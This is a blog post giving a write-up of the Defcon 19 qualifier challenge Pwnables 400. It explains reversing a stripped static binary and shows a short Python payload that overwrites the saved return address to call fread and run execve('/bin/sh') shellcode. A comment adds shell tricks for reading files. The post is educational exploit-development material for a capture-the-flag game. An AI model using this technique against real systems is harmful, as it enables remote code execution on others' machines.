Wednesday, June 8, 2011

Defcon 19 Quals - Pwntent Pwnables 400 Writeup

As usual, I checked the file first.

$ file pp400_804703cc7f7d5d3f54ba
pp400_804703cc7f7d5d3f54ba: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped
$ objdump -s -j .comment pp400_804703cc7f7d5d3f54ba

pp400_804703cc7f7d5d3f54ba:     file format elf32-i386

Contents of section .comment:
 0000 4743433a 2028474e 55292034 2e362e30  GCC: (GNU) 4.6.0
 0010 20323031 31303530 39202852 65642048   20110509 (Red H
 0020 61742034 2e362e30 2d372900 4743433a  at 4.6.0-7).GCC:
 0030 2028474e 55292034 2e362e30 20323031   (GNU) 4.6.0 201
 0040 31303230 35202852 65642048 61742034  10205 (Red Hat 4
 0050 2e362e30 2d302e36 2900               .6.0-0.6).

The binary in this challenge is statically linked and stripped. It means all libc functions are included in the binary and symbol names are stripped. From the comment section, the binary is supposed to be compiled on Fedora 15. I tried to create IDA sig file from "libc.a" but no function name is resolved. So I have to reverse code manually.

My trick for reversing code on this challenge is starting from "/dev/urandom". The function that passed "/dev/urandom" as first argument should be "open". If we follow the assembly code in "open" function, we will see setting SYS_OPEN to eax then jump to "__unified_syscall" (See my pCTF - Another Samll Bug writeup). So we can recover many libc function names that setting eax to syscall number.

The left libc functions are not difficult to guess if we know function arguments and what syscall to be called inside the function. The code I get is same as LeetMore's writeup but they use better variable name than me (so read their code).

From the code, program copies client data to saved eip address but there is a limit. Before thinking how to make payload small, I checked the enabled security feature in the binary.

$ --file pp400_804703cc7f7d5d3f54ba
RELRO           STACK CANARY      NX            PIE                     FILE
No RELRO        No canary found   NX disabled   No PIE                  pp400_804703cc7f7d5d3f54ba

NX is disabled. So I do not need to do full ROP, just put the code to read the shellcode to some static rwx area (with "fread") then jump to it. Also we can see from the code that stdin and stderr are the connected socket, so we just need the execve("/bin/sh") shellcode.

fread_addr = 0x08048c60
stdin_addr = 0x0804a31c
wx_addr = 0x0804a480

payload = pack("<I", fread_addr) # jump to fread
payload += pack("<I", wx_addr)   # jump to shellcode
payload += pack("<IIII", wx_addr, 1, len(sc), stdin_addr) # fread arguments

It requires only 24 bytes. But when I got the shell, I could use only builtin commands, no "id, cat, ls, ..." (I hope I did not make a mistake again). So I wrote the shellcode to read key file. Here is the full python code


  1. Nice writeup!

    About the shell, you could also do
    echo * to list files
    read data <key; echo $data to read file